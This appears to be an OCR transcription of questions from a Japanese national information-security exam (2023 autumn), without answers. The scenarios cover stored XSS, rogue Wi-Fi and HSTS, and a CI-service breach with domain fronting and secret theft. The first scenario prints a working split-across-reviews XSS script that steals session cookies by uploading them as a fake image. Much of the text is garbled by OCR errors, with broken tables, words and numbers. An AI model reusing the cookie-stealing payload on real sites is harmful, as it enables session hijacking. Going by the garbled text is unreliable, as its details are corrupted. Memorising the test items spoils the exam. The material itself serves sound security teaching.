問問1 設問1
設問1この攻撃で使われたXSS脆弱性について答えよ。 (1)XSS脆弱性の種類を解答群の中から選び,記号で答えよ。 解答群 アDOM Based XSSイ格納型XSSウ反射型XSS (2)WebアプリQにおける対策を,30字以内で答えよ。
情報処理安全確保支援士 2023年 秋期 午後の問題文10問です。図・表・別冊資料と正解は掲載していませんので、出典の公表資料またはアプリでご確認ください。
Webアプリケーションプログラムの開発に関する次の記述を読んで,設問に答えよ。 0社は,洋服のEC事業を手掛ける従業員100名の会社である。Webアプリ0Qという WebアプリケーションプログラムでECサイトを運営している。ECサイトのドメイン 名は“ロロロロ.co.jp”であり,利用者はWebアプリQにHTTPSでアクセスする。Web アプリQの開発と運用は,0社開発部が行っている。今回,Webアプリ0Qに,ECサイ トの会員による商品レビュー機能を追加した。図1は,Webアプリ0Qの主な機能であ る。 1.会員登録機能 ECサイトの会員登録を行う。 2.ログイン機能 会員IDとパスワードで会員を認証する。ログインした会員には,セッション1Dをcookieと して払い出す。 3.カートへの商品の追加及び削除機能 (省略) 4.商品の購入機能 ログイン済み会員だけが利用できる。 (省略) 5.商品レビュー機能 商品レビューを投稿したり閲覧したりするページを提供する。商品レビューの投稿は,ログイ ン済み会員だけが利用できる。会員がレビューページに入力できる項目のうち,レビュータイト ルとレビュー詳細の欄は自由記述が可能であり,それぞれ50字と300字の入力文字数制限を設 けている。 6.会員プロフィール機能 アイコン画像をアップロードして設定するためのページ(以下,会員プロフィール設定ページ という)や,クレジットカード情報を登録するページを提供する。どちらのページもログイン済 み会員だけが利用できる。アイコン画像のアップロードは,次をパラメータとして, “https://OOO.co.jp/user/upload”に対して行う。 ・画像ファイルリ ・“https://OOD.co.jp/user/profile’にアクセスして払い出されたトークン9? パラメータのトークンが,“https://OOO.co.jp/user/profile’にアクセスして払い出 されたものと一致したときは,アップロードが成功する。アップロードしたアイコン画像は,会 員プロフィール設定ページや,レビューページに表示される。 (省略) 注”パラメータ名は,“uploadfile"CHS, SE?パラメータ名は,“token”CHS, 図1 Webアプリ0Qの主な機能 —_2 ens ある日,会員から,無地Tシャツのレビューページ(以下,ページVという)に16 件表示されるはずのレビューが2件しか表示されていないという問合せが寄せられた。 開発部のリーダーであるNさんがページVを閲覧してみると,画面乱移上おかしな点 はなく,図2が表示された。 商品レビュー無地Tシャツ a «4.9 16件のレビュー—の (1FTE— kk KKK Good Nice shirt! ©eres kkk形も素材も良い サイズ感がぴがったりフィットして気に入っています(><) 手触りも良く,値段を考えると良い商品です。 以上,全16件のレビュー 注記(())は,会員がアイコン画像をアップロードしていない場合に表示される画像である。 図2ページV Webアプリ0のレビューページでは,次の項目がレビューの件数分表示されるはず である。 ・レビューを投稿した会員のアイコン画像 ・レビューを投稿した会員の表示名 ・レビューが投稿された日付 ・レビュー評価(1一5 f1Ox*) ・会員が入力したレビュータイトル ・会員が入力したレビュー詳細 不審に思ったNさんはページVのHTMLを確認した。図lk,ページVのHTML CH る。 ー3一 (省略) <div class=”review-number”>16件のレビュー</div> <div class="review"> <div class="icon”><img src="/users/dac6c8T12T867ed5/icon.png"></div> <div class="displayname>会員A</div> <div class="date”>2023年4月10日く</div><div class="star”>**&kk*</div> <div class=”review-title”>Good<script>xhr=new XMLHttpRequest();/*</div> <div class="description”>a</div> </div> <div class="review”> <div class="icon”><img src=”/users/dac6c8f12867ed5/icon.png”></div> <div class="displayname">会員Aく</div> <div class="date”>2023年4月10日</div><div class="star">文文太文文くdiv> <div class="review-title”>*/url1="https://OOD.co.jp/user/profile”;/*</div> <div class="description”>a</div> </div> (省略) <div class="review”> <div class="icon”><img src=”/users/dac6c8f12f867ed5/icon.png”></div> <div class="displayname’>#8 A</div> <div class="date”>2023年4月10 A</div><div class="star”>%*ww*</div> <div class="review-title”>*/xhr2.send(form);}</script></div> <div class="description”>Nice shirt!</div> </div> <div class="review”> <div class="icon”><img src=”/users/94774f6887473b91/icon.png’></div> <div class="displayname”’>#8 B</div> <div class="date”>2023年4月1日div><div class="star”>*k*&&*&</div> <div class="review-title">形も素材も良いく/div> <div class="description'>サイズ感がぴったりフィットして気に入っています(>:_<:)<br> 手触りも良く,値段を考えると良い商品です。</div> </div>。 <div class="review-end">以上,全16件のレビュー</div> (省略) 図3ページVのHTML 3のHTMLを確認したNさんは,会員Aによって15件のレビューが投稿されてい ること,及びページVには長いスクリプトが埋め込まれていることに気付いた。Nさ Ald,ページVにアクセスしたときに生じる影響を調査するために,アクセスしたと きにWebブラウザで実行されるスクリプトを抽出した。図lk,Nさんが抽出したス クリプトである。 mie 4— 1:xhr=new XMLHttpRequest(): 2:urll="https://ロロロ.co.jp/user/profile": 3:xhr.open("get",url1): 4:xhr.responseType=“document”;//レスポンスをテキストではなくDOMとして受信する。 5:xhr.send(); 6:xhr.onload=function(){//以降は,1回目のXMLHttpRequest(XHR)のレスポンス の受信に成功してから実行される。 mS page=xhr.response; 8:token=page.getElementByld(”token”).value; 9:xhr2=new XMLHttpRequest(): 10:url2="https://OOD.co.jp/user/upload”; Tt xhr2.open("post”,url2); 12:form=new FormData(); 13:cookie=document.cookie; 14:fname="a.png”; 15:ftype=image/png”; 16:file=new File([cookie],fname,{type:ftype}); //アップロードするファイルオブジェクト //第1引数:ファイルコンテンツ //第2引数:ファイル名 //第3引数:MIMEタイプなどのオプション 17:form.append("uploadfile”,file); 18:form.append(”token”,token); 19:xhr2.send(form); 20:} 注記スクリプトの整形とコメントの追記は,Nさんが実施したものである。 図4 Nさんが抽出したスクリプト ぜい Nさんは,BBAの投稿はクロスサイトスクリプティング(XSS)脆弱性を悪用し た攻撃を成立させるためのものであるという疑いをもった。NさんがWebアプリQを 調べたところ,WebアプリQには,会員が入力したスクリプトが実行されてしまう脆 弱性があることを確認した。加えて,WebアプリQがcookieにHttpOnly属性を付与 していないこと及びアップロードされた画像ファイルの形式をチェックしていない ことも確認した。 Q社は,必要な対策を施し,会員への必要な対応も行った。 ーー5ーー
設問1この攻撃で使われたXSS脆弱性について答えよ。 (1)XSS脆弱性の種類を解答群の中から選び,記号で答えよ。 解答群 アDOM Based XSSイ格納型XSSウ反射型XSS (2)WebアプリQにおける対策を,30字以内で答えよ。
設問2図3について,入力文字数制限を超える長さのスクリプトが実行されるように した方法を,59字以内で答えよ。
設問3図4のスクリプトについて答えよ。 (1)図4の6~-29行目の処理の内容を,69字以内で答えよ。 (2)攻撃者は,図4のスクリプトによってアップロードされた情報をどのよう にして取得できるか。取得する方法を,59字以内で答えよ。 (3)攻撃者が(2)で取得した情報を使うことによってできることを,40 FUN で答えよ。
設問4仮に,攻撃者が用意したドメインのサイトに図4と同じスクリプトを含むHTML を準備し,そのサイトにWebアプリQのログイン済み会員がアクセスしたとして も,Webブラウザの仕組みによって攻撃は成功しない。この仕組みを,49字以内 で答えよ。 a B=
セキュリティ対策の見直しに関する次の記述を読んで,設問に答えよ。 M社は,L社の子会社であり,アパレル業を手掛ける従業員199名の会社である。M 社のオフィスピルは,人通りの多い都内の大通りに面している。 昨年,M社の従業員が,社内ファイルサーバに保存していた秘密情報の商品デザイ ンファイルをUSBメモリに保存し,競合他社に持ち込むという事件が発生した。この 事件を契機として,L社からの指導でセキュリティ対策の見直しを進めている。既に 次の三つの見直しを行った。 ・USBメモリへのファイル保存を防ぐために,従業員に貸与するノートPC(以下,業 務PCという)に情報漏えい対策ソフトを導入し,次のように設定した。 (1)USBメモリなどの外部記憶媒体の接続を禁止する。 (2)ソフトウェアのインストールを除いて,ローカルディスクへのファイルの保 存を禁止する。 (3)会社が許可していないWebメールサービス及びクラウドストレージサービスへ の通信を遮断する。 (4)会社が許可していないソフトウェアのインストールを禁止する。 (5)電子メール送信時のファイルの添付を禁止する。 ・業務用のファイルの保存場所を以前から利用していたクラウドストレージサービ A(QE,Bサービスという)の1か所にまとめ,設定を見直した。 ・社内ファイルサーバを廃止した。 M社のオフィスビルには,執務室と会議室がある。執務室では従業員用無線LANが 利用可能であり,会議室では,従業員用無線LANと来客用無線LANの両方が利用可能 CHS,会議室にはプロジェクターが設置されており,来客が持ち込むPC,タブレ ット及びスマートフォン(以下,これらを併せて来客持込端末という)又は業務PC を来客用無線LANに接続することで利用可能である。 M社のネットワーク構成を図1に,その構成要素の概要を表1に,M社のセキュリ ティルールを表2に示す。 AS water「来客用無線LAN。 」 っ会議室 サーバネットワーク|mm 1192,168.10.0/24 1192.168.30.0/24||| ||P11 L2SW P24|| |||awe Hl ||| i--me st a Bic«ye:—— !Yt(os PILES]esド 1 rs i ーーニーーーニーー| サーバ|192,168,20.0/24ミBS| Po Tee ecto oes ce ee| FW:ファイアウォールL2SW:レイヤー2スイッチAP:無線LANアクセスポイント 注記1 IF1,WAN-IF1はFWのインタフェースを示す。 注記2 PI~P13及びP20~P24はL2SWのポートを示す。 注記3 L2SWはVLAN機能をもっており,各ポートには接続されている機器のネットワークに対応した VLAN IDが割り当てられている。P9とP24ではタグVLANが有効化されており,そのほかのポー トでは無効化されている。有効化されている場合,複数のVLAN IDが割当て可能である。無効 化されている場合,一つのVLAN IDだけが割当て可能である。 図1 M社のネットワーク構成 ー8一 表1構成要素の概要(抜粋) a FW・通信制御はステートフルパケットインスペクション型である。 ・NAT機能を有効にしている。 AP-1~5・無線LANの認証方式はWPA2-PSKである。 ・AP-1-4には,従業員用無線LANのSSIDが設定されている。 ・AP-5には,従業具用無線LANのSSIDと来客用無線LANのSSIDの両方が設定さ TUTWNSs ・従業員用無線LANだけにMACアドレスフィルタリングが設定されており,事前 に情報システム部で登録された業務PCだけが接続できる。 ・同じSSIDの無線LANに接続された端末同士は,通信可能である。 Bサービス・HTTPSでアクセスする。 ・HTTP Strict Transport Security(HSTS)を有効にしている。 ・従業員ごとに割り当てられた利用者IDとパスワードでログインし,HATS. ・M社の従業只に割り当てられた利用者IDでは,a1.b1.c1.d1!からだけ,Bサー ビスにログイン可能である。 ・ファイル共有機能がある。HAD M社以外の者と業務用のファイルを共有す るには,Bサービス上で,共有したいファイルの指定,外部の共有者のメール アドレスの入力及び上長承認申請を行い,上長が承認する。承認されると,指 定されたファイルの外部との共有用URL(以下,外部共有リンクという)DH 行され,外部の共有者宛てに電子メールで自動的に送信される。外部共有リン クは,本人及び上長には知らされない。外部の共有者は外部共有リンクにアク セスすることによって,Bサービスにログインせずにファイルをダウンロード 可能である。外部共有|リンクは,発行されるたびに新たに生成される推測困難 なランダム文字列を含み,有効期限は1日に設定されている。 pen|ote 業務PC・日常業務のほか,Bサービスへのアクセス,インターネットの閲覧,電子メー ルの送受信などに利用する。 ' &・インターネット上のドメイン名の名前解決を行う。 ディレクトリ|・ディレクトリ機能に加え,ソフトウェア,クライアント証明書などを業務PCに SE)グローバルIPアドレスを示す。 =9— 表2 M社のセキュリティルール(抜粋) RRMENOBNS [gaomemiss. 業務PC以外の持込み・個人所有のPC,タブレット,スマートフォンなどの機器の執務 業務用のファイルの持出し・Bサービスのファイル共有機能以外の方法での社外への持出し einer men ems FWのVLANインタフェース設定を表3に,FWのフィルタリング設定を表4に,AP-5 の設定を表5に示す。 表3 FWのVLANインタフェース設定 me org OO[ne[ten res ee| 項番|物理インタ|タグVLAND VLAN名|VLAN ID|IPアドレス|サブネットマスク IF a ware[70|792.7168.10.17|255.255.255.0| |4*[wate[aes。|WAW|1|ameldl|255,255,255.248| $0物理インタフェースでのタグVLANの設定を示す。有効の場合,複数のVLAN IDが割当て可能 CHS,無効の場合,.一つのVLAN IDだけが割当て可能である。 表4 FWのフィルタリング設定 Pe eeた||11 項番|入力イ|出カイン|送信元IPアドレ|宛先TPアドレス|サービス|動作|NAT? 1F1 WAN-IF1 192.168.10.0/24|全てHTTP,許可|有効 ンタフタラェース OTD ITの上)He FI 2|IF1 WAN-IF1 192.168.20.0/24|全てHTTP,許可|有効 OPD|)|線 3|IF1 WAN-IF1 192.168.39.9/24|全てHTTP,許可|有効 |||ee HTTPS, |6[iri|Fl|192.168.39.0/24|192.168.20.0/24|全て|許可|無効 注記項番が小さいルールから順に,最初に合致したルールが適用される。 注り現在の設定では有効の場合,送信元IPアドレスがal1.b1.c1.d1に変換される。 表5 AP-5の設定(抜粋) 来客用無線LAN従業員用無線LAN 事前共有キー(WPA2-PSYO PAN TD 0)0W00W29 0 [Bサービスからのファイルの持出しについてのセキュリティ対策の確認〕 これまで行った対策の見直しに引き続き,Bサービスからのファイルの持出しのセ キュリティ対策について,十分か否かの確認を行うことになった。そこで,情報シ ステム部のYさんが,L社の情報処理安全確保支援士(登録セキスペ)である$氏の 支援を受けながら,確認することになった。2 Ald,社外の攻撃者による持出しと従 業員による持出しのそれぞれについて,セキュリティ対策を確認することにした。 [社外の攻撃者によるファイルの持出しについてのセキュリティ対策の確認〕 次は,社外の攻撃者によるBサービスからのファイルの持出しについての,Yさん と$氏の会話である。 Yさん:来客用無線LANを利用したことのある来客者が,攻撃者としてM社の近くか ら来客用無線LANに接続し,Bサービスにアクセスするということが考えら れないでしょづか。 SK:それは考えられます。しかし,Bサービスにログインするには|a| と|5|が必要です。 Yさん:来客用無線LANのAPと同じ設定の偽のAP(以下,偽APという),RUBY ービスと同じURLの偽のサイト(以下,偽サイトという)を用意し,DNSの 設定を細エして,|。|と[|b ]を盗む方法はどうでしょうか。 攻撃者が偽APをM社の近くに用意した場合に,M社の従業員が業務PCE APに誤って接続してBサービスにアクセスしようとすると,偽サイトにア クセスすることになり,ログインしてしまうことがあるかもしれません。 SK :従業員がHTTPSで偽サイトにアクセスしようとすると,安全な接続ではない という旨のエラーメッセージとともに,偽サイトに使用されたサーバ証明 書に応じて,図2に示すエラーメッセージの詳細の一つ以上がWebブラウザ に表示されます。従業員は正規のサイトでないことに気付けるので,ログ インしてしまうことはないと考えられます。 on| Ce. ・このサーバ証明書は,有効期限が切れている。 図2エラーメッセージの詳細(抜粋) Yさん:なるほど,理解しました。しかし,偽APに接続した状態で,従業員がWeb ブラウザにBサービスのURLを入力する際に,誤って“http://”と入力し てBサービスにアクセスしようとした場合,エラーメッセージが表示されな いのではないでしょうか。 SK :大丈夫です。HSTSを有効にしてあるので,その場合でも,①先ほどと同じ エラーメッセージが表示されます。 (従業員によるファイルの持出しについてのセキュリティ対策の確認] 次は,従業員によるBサービスからのファイルの持出しについての,S氏とYさん との会話である。 SK:ファイル共有機能では,上長はちゃんと宛先のメールアドレスとファイル を確認してから承認を行っていますか。 Y XA:確認できていない上長もいるようです。 SK:そうすると,従業員は,ファイル共有機能を悪用すれば,M社外からBサ ービスにあるファイルをダウンロード可能ですね。 Yさん:確かにそうです。 S氏:ところで,会議室には個人所有PCは持ち込めるのでしょうか。 ー12一 Yさん:会議室への持込みは禁止していないので,持ち込めます。 SK:そうだとすると,次の方法1と方法2のいずれかの方法を使って,Bサービ スからファイルの持出しが可能ですね。 方法1:個人所有PCの無線LANインタフェースの| e|を業務PCの無線LANイ ンタフェースの| e|に変更した上で,個人所有PCを従業員用無線 LANに接続し,Bサービスからファイルをダウンロードし,個人所有PCごと 持ち出す。 方法2:個人所有PCを来客用無線LANに接続し,Bサービスからファイルをダウンロ ードし,個人所有PCごと持ち出す。 [方法1と方法2についての対策の検討〕 方法1への対策については,従業員用無線LANの認証方式としてEAP-TLSを選択 し,③認証サーバを用意することにした。 次は,必要となるクライアント証明書についてのS氏とYさんの会話である。 S氏:クライアント証明書とそれに対応する|f Jit,どのようにしますか。 Yさん:クライアント証明書は,CAサーバを新設して発行することにし,CRAM 自身の業務PCにインストールするのではなく,ディレクトリサーバの機能 で業務PCに格納します。| f|は| g|しておくために業務PC のTPMに格納し,保護します。 SK :④その格納方法であれば問題ないと思います。 方法2への対策については,次の二つの案を検討した。 ・⑤FWのNATの設定を変更する。 ・無線LANサービスであるDサービスを利用する。 検討の結果,Dサービスを次のとおり利用することにした。 ・会議室に,Dサービスから貸与された無線LANルータ(以下,Dルータという) を設置する。 ー13一 ・Dルータでは,DHCPサーバ機能及びDNSキャッシュサーバ機能を有効にする。 ・来客持込端末は,M社のネットワークを経由せずに,Dルータに搭載されている SIMを用いてDサービスを利用し,.インターネットに接続する。 今まで必要だった,来客持込端末からDHCPサーバと[|h|サーバへの通信 は,不要になる。さらに,表5について不要になった設定を削除するとともに,OR 3及び表4についても,不要になった設定を全て削除する。また,プロジェクターに ついては,来客用無線LANを利用せず,HDMIケーブルで接続する方法に変更する。 Yさんと$S氏は,ほかにも必要な対策を検討し,.これらの対策と併せて実施した。
設問1【〔社外の攻撃者によるファイルの持出しについてのセキュリティ対策の確 認]について答えよ。 (1)本文中の| a|,|b|に入れる適切な字句を答えよ。 (2)図2中の|c ],|a|]に入れる適切な字句を,それぞれ49字 以内で答えよ。 (3)本文中の下線について,エラーメッセージが表示される直前までのWeb ブラウザの動きを,66字以内で答えよ。
設問2従業員によるファイルの持出しについてのセキュリティ対策の確認〕)につ いて答えよ。 (1)本文中の下線のについて,M社外からファイルをダウンロード可能にする ためのファイル共有機能の悪用方法を,40字以内で具体的に答えよ。 (2)本文中の| e|に入れる適切な字句を答えよ。
設問3[方法1と方法2についての対策の検討]について答えよ。 (1)本文中の下線について,認証サーバがEAPで使うUDP上のプロトコルを 答えよ。 (2)本文中の|f|に入れる適切な字句を答えよ。 (3)本文中の|g|に入れる適切な字句を,29字以内で答えよ。 (4)本文中の下線について,その理由を,49字以内で答えよ。 (5)本文中の下線@について,変更内容を,79字以内で答えよ。 =jdm (6)本文中の|h|に入れる適切な字句を答えよ。 (7)本文中の下線⑥について,表3及び表4の削除すべき項番を,それぞれ全 て答えよ。 PAS継続的1インテグレーションサービスのセキュリティに関する次の記述を読んで, 設問に答えよ。 N社は,Nサービスという継続的インテグレーションサービスを提供している従業 員400名の事業者である。Nサービスの利用者(AE,Nサービス利用者という)は, バージョン管理システム(以下,VCSという)にコミットしたソースコードを自動的 にコンパイルするなどの目的で,Nサービスを利用する。VCSでは,リポジトリとい う単位でソースコードを管理する。Nサービスの機能の概要を表1に示す。 表1 Nサービスの機能の概要(抜粋) ソースコード取得機能|リポジトリから最新のソースコードを取得する機能である。Nサービス 利用者は,新たなリポジトリに対してNサービスの利用を開始するとき に,そのリポジトリを管理するVCGのホスト名及びリポジトリ固有の認 証用SSH鍵を登録する。ソースコードの取得は,VCSから新たなソース コードのコミットの通知をHTTPSで受け取ると開始される。 コマンド実行機能ソースコード取得機能がリポジトリからソースコードを取得した後 に,リポジトリのルートディレクトリにあるci.shという名称のシェル スクリプト(UF,ビルドスクリプトという)を実行する機能であ る。Nサービス利用者は,例えば,コンパイラのコマンドや,指定され たWebサーバにコンパイル済みのバイナリコードをアップロードするコ マンドを,ビルドスクリプトに記述する。 シークレット機能ビルドスクリプトを実行するシェルに設定される環境変数を,Nサービ ス利用者が登録する機能である。登録された情報はシークレットと呼 ばれる。Nサービス利用者は,例えば,指定されたWebサーバに接続す るために必要なAPIキーを登録することによって,ビルドスクリプト中 にAPIキーを直接記載しないようにすることができる。 NサービスはC社のクラウド基盤で稼働している。Nサービスの構成要素の概要を 表2に示す。 表2 Nサービスの構成要素の概要(抜粋) Nサービスの構成概要 要素 フロントエンドVCSから新たなソースコードのコミットの通知を受け取るためのAPIを備え たWebサイトである。 ユーザーデータベ|各Nサービス利用者が登録したVCSのホスト名,各リポジトリ固有の認証用 ースSSH鍵,及びシークレットを保存する。読み書きはフロントエンドからだけ に許可されている。 バックエンドLinuxをインストールしており,ソースコード取得機能及びコマンド実行機 能を提供する常駐プログラム(以下,CIデーモンという)が稼働する。イン ターネットへの通信が可能である。バックエンドは59台ある。 仮想ネットワーク|フロントエンド,ユーザーデータベース及びバックエンド1て59を互いに接 続する。 フロントエンドは,ソースコードのコミットの通知を受け取ると図1の処理を行う。 1.通知を基にNサービス利用者とリポジトリを特定し,そのNサービス利用者が登録したVCS のホスト名,各リポジトリ固有の認証用SSH鍵,及びシークレットをユーザーデータベース から取得する。 2.バックエンドを一つ選択する。 3.2.で選択したバックエンドのCIデーモンに1.で取得した情報を送信し,処理命令を出す。 図1フロントエンドが行う処理 CIデーモンは,処理命令を受け取ると,特権を付与せずに新しいコンテナを起動 し,当該コンテナ内でソースコード取得機能とコマンド実行機能を順に実行する。 ビルドスクリプトには,利用者が任意のコマンドを記述できるので,不正なコマ ンドを記述されてしまうおそれがある。さらに,不正なコマンドの処理の中には, ぜい ①コンテナによる仮想化の脆弱性を悪用しなくても成功してしまうものがある。そ こで,バックエンドには管理者権限で稼働する監視ソフトウェア製品Xを導入してい る。製品Xは,バックエンド上のプロセスを監視し,プロセスが不正な処理を実行し ていると判断した場合は,当該プロセスを停止させる。 C社は,C社のクラウド基盤を管理するためのWebサイト(UE,クラウド管理サ イトという)も提供している。N社では,クラウド管理サイト上で,クラウド管理サ イトのアカウントの管理,.Nサービスの構成要素の設定変更,バックエンドへの管理 者権限でのアクセス,並びにクラウド管理サイトの認証ログの監視をしている。N社 では,C社が提供するスマートフォン用アプリケーションソフトウェア(以下,スマ ートフォン用アプリケーションソフトウェアをアプリという)に表示される,時刻 を用いたワンタイムパスワード(TOTP)を,クラウド管理サイトへのログイン時に 入力するように設定している。 N社では,オペレーション部がクラウド管理サイト上でNサービスの構成要素の設 定及び管理を担当し,セキュリティ部がクラウド管理サイトの認証ログの監視を担 当している。 〔N社のインシデントの発生と対応〕 1月4日11時,クラウド管理サイトの認証ログを監視していたセキュリティ部のH さんは,同日19時にオペレーション部のUさんのアカウントで国外のIPアドレスか らクラウド管理サイトにログインがあったことに気付いた。 HさんがUさんにヒアリングしたところ,Uさんは社内で同日19時にログインを試 み,一度失敗したとのことであった。Uさんは,同日10時前に電子メール(以下, メールという)を受け取っていた。メールにはクラウド管理サイトからの通知だと 書かれていた。Uさんはメール中のURLを開き,クラウド管理サイトだと思ってログ インを試みていた。Hさんがそのメールを確認したところ,URL中のドメイン名はク ラウド管理サイトのドメイン名とは異なっており,Uさんがログインを試みたのは偽 サイトだった。Hさんは,同日19時の国外IPアドレスからのログインは②攻撃者に よる不正ログインだったと判断した。 Hさんは,初動対応としてクラウド管理サイトのUさんのアカウントを一時停止し た後,調査を開始した。Uさんのアカウントの権限を確認したところ,フロントエン ド及びバックエンドの管理者権限があったが,それ以外の権限はなかった。 まずフロントエンドを確認すると,Webサイトのドキュメントルートに/.wel- known/pki-validation/”ディレクトリが作成され,RASORBWESNKAROT? イルが作成されていた。そこで,③RFC 9162に規定された証明書発行ログ中のNサー ビスのドメインのサーバ証明書を検索したところ,正規のもののほかに,N社では利 用実績のない認証局Rが発行したものを発見した。 バックエンドのうち1台では,管理者権限をもつ不審なプロセス(UE,プロセス Yという)が稼働していた(以下,プロセスYが稼働していたバックエンドを被害バ == ックエンドという)。被害バックエンドのその時点のネットワーク通信状況を確認す ると,プロセスYは特定のCDN事業者のIPアドレスに,HTTPSで多量のデータを送信 していた。TLSのServer Name Indication(SNI)には,著名な0SS配布サイトのド メイン名が指定されており,製品Xでは,安全な通信だと判断されていた。 詳しく調査するために,TLS通信ライブラリの機能を用いて,それ以降に発生する プロセスYのTLS通信を復号したところ,HTTP Hostヘッダーでは別のドメイン名が 指定されていた。このドメイン名は,製品Xの脅威データベースに登録された要注意 ドメインであった。プロセスYは,④監視ソフトウェアに検知されないようにSNIを 偽装していたと考えられた。TLS通信の内容には被害バックエンド上のソースコード が含まれていた。Hさんはクラウド管理サイトを操作して被害バックエンドを一時停 止した。Hさんは,⑤プロセスYがシークレットを取得したおそれがあると考えた。 Hさんの調査結果を受けて,N社は同日,次を決定した。 ・不正アクセスの概要とNサービスの一時停止をN社のWebサイトで公表する。 ・被害バックエンドでソースコード取得機能又はコマンド実行機能を利用した顧客 に対して,ソースコード及びシークレットが第三者に漏えいしたおそれがあると 通知する。 Hさんは図2に示す事後処理と対策を行うことにした。 1.フロントエンド及び全てのバックエンドを再構築する。 2.認証局Rに対し,Nサービスのドメインのサーバ証明書が勝手に発行されていることを伝 A,その失効を申請する。 3.偽サイトでログインを試みてしまっても,クラウド管理サイトに不正ログインされること のないよう,クラウド管理サイトにログインする際の認証を⑥WebAuthn(Web Authentication)を用いた認証に切り替える。 4.Nサービスのドメインのサーバ証明書を発行できる認証局を限定するために,Nサービスの ドメインの権威DNSサーバに,Nサービスのドメイン名に対応する|a|レコードを 設定する。 図2事後処理と対策(抜粋) (N社の顧客での対応〕 Nサービスの顧客企業の一つに,HEA 1,000名の資金決済事業者であるP社があ る。P社は,決済用のアプリGAB,Pアプリという)を提供しており,スマートフ ォン05開発元のJ社が運営するアプリ配信サイトであるJストアを通じて,Pアプリ の利用者(以下,Pアプリ利用者という)に配布している。P社はNサービスを,最 新版ソースコードのコンパイル及びJストアへのコンパイル済みアプリのアップロー ドのために利用している。『P社には開発部及び運用部がある。 Jストアへのアプリのアップロードは,J社の契約者を特定するための認証用API キーをHTTPヘッダーに付加し,JストアのREST APIを呼び出して行う。認証用API キーはJ社が発行し,契約者だけがJ HO Webサイトから取得及び削除できる。ま た,JARVIS,アップロードされる全てのアプリについて,J社が運営する認証局 からのコードサイニング証明書の取得と,対応する署名鍵によるコード署名の付与 を求めている。Jストアのアプリを実行するスマートフォンOSは,各アプリを起動 する前にコード署名の有効性を検証しており,検証に失敗したらアプリを起動しな いようにしている。 P社は,Nサービスのソースコード取得機能にた,Pアプリのソースコードを保存し ているVCSのホスト名とリポジトリの認証用SSH鍵を登録している。Nサービスのシ ークレット機能には,表3に示す情報を登録している。 表3 P社がNサービスのシークレット機能に登録している情報 Pアプリのビルドスクリプトには,図3に示すコマンドが記述されている。 2.生成されたバイナリコードにAPP_SIGN_KEYを用いてコード署名を付与するコマンド 3.STORE_API_KEYを用いて,署名済みのバイナリコードをJ」ストアにアップロードするコマン ド 図3ビルドスクリプトに記述されているコマンド es Br ms 1月4日,P社運用部のKさんがN社からの通知を受信した。それによると,ソー スコード及びシークレットが漏えいしたおそれがあるとのことだった。Kさんは,⑦ Pアプリ利用者に被害が及ぶ攻撃が行われることを予想し,すぐに二つの対応を開始 した。 Kさんは,一つ目の対応として,⑧漏えいしたおそれがあるので,STORE_API_KEY として登録されていた認証用APIキーに必要な対応を行った。また,二つ目の対応と LT,APP_SIGN KEYとして登録されていたコードサイニング証明書について認証局 に失効を申請するとともに,新たな鍵ペアを生成し,コードサイニング証明書の発 行申請及び受領を行った。鍵ペア生成時,Nサービスが一時停止しており,鍵ペアの 保存に代替手段が必要になった。「FIPS 140-2 Security Level 3の認証を受けたハー ドウェアセキュリティモジュール(HSM)は,⑨コード署名を付与する際にセキュリ ティ上の利点があるので,それを利用することにした。さらに,二つの対応とは別 に,リポジトリの認証用SSH鍵を無効化した。 その後,開発部と協力しながら,P社内のPCでソースコードをコンパイルし,生 成されたバイナリコードに新たなコード署名を付与した。Jストアへの『Pアプリのア ップロード履歴を確認したが,異常はなかった。新規の認証用APTキーを取得し,署 名済みのバイナリコードをJ」ストアにアップロードするとともに,OKさんの二つの 対応によってPアプリ利用者に生じているかもしれない影響,及びそれを解消するた めにPアプリ利用者がとるべき対応について告知した。さらに,外部委託先であるN 社に起因するインシデントとして関係当局に報告した。 設問1本文中の下線のについて,該当するものはどれか。解答群の中から全て選び, 記号で答えよ。 解答群 アCIデーモンのプロセスを中断させる。 イいずれかのバックエンド上の全プロセスを列挙して攻撃者に送信する。 ウインターネット上のWebサーバに不正アクセスを試みる。 エ攻撃者サイトから命令を取得し,得られた命令を実行する。 オほかのNサービス利用者のビルドスクリプトの出力を取得する。 ー21一 設問2〔N社のインシデントの発生と対応】について答えよ。 (1)本文中の下線@について,攻撃者による不正ログインの方法を,50字以内 で具体的に答えよ。 (2)本文中の下線について,RFC 9162で規定されている技術を,解答群の中 から選び,記号で答えよ。 解答群 アCertificate Transparency 4 HTTP Public Key Pinning ウHTTP Strict Transport SecurityエRegistration Authority (3)本文中の下線のについて,このような手法の名称を,解答群の中から選び, 記号で答えよ。 解答群 アDNSスプーフィングイドメインフロンティング ウドメイン名ハイジャックエランダムサブドメイン攻撃 (4)本文中の下線@について,プロセスYがシークレットを取得するのに使っ た方法として考えられるものを,35字以内で答えよ。 (5)2中の下線⑥について,仮に,利用者が偽サイトでログインを試みてし まっても,攻撃者は不正ログインできない。不正ログインを防ぐWebAuthnの 仕組みを,40字以内で答えよ。 (@)図2中の| 』|に入れる適切な字句を,解答群の中から選び,記号で 答えよ。 解答群 アCAA 4 CNAMEウDNSKEYエNSオSOAカTXT 設問3〔N社の顧客での対応}]について答えよ。 (1)本文中の下線の⑦について,Kさんが開始した対応を踏まえ,予想される攻 Be,49字以内で答えよ。 (2)本文中の下線⑧について,必要な対応を,20字以内で答えよ。 (3)本文中の下線@について,コード署名を付与する際にHSMを使うことによ って得られるセキュリティ上の利点を,20字以内で答えよ。 (4)本文中の下線⑩について,影響と対応を,それぞれ29字以内で答えよ。 _22一
